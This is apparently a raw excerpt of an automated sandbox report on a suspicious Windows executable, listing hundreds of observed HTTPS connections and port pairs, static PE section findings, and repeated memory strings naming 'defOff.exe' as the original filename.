Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:50062 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50098 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_060C4E6D

0_2_060C4E6D

Source: file.exe, 00000000.00000002.2464833143.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2338523158.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331752951.0000000005C72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324059671.0000000005C2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324528902.0000000005CFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325351327.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328734599.0000000005B64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332914901.0000000005DAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2327336404.0000000005B66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317731935.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330423931.0000000005C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328878379.0000000005C5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328175817.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320670020.0000000005B6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2338249764.0000000005B62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325697018.0000000005C32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324829122.0000000005C31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2463692267.0000000005B69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319750135.0000000005B64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323930071.0000000005B67000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333673974.0000000005DAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322998733.0000000005B65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2327892900.0000000005B64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2337280206.0000000005C93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351364733.0000000000A12000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331413465.0000000005C7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329018381.0000000005D5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321705815.0000000005C1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321348846.0000000005C06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329236106.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331075643.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339488245.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328588569.0000000005C53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322306843.0000000005CD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2327171615.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329658154.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322540013.0000000005C2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322171485.0000000005C14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324957560.0000000005CF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2326249298.0000000005B67000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
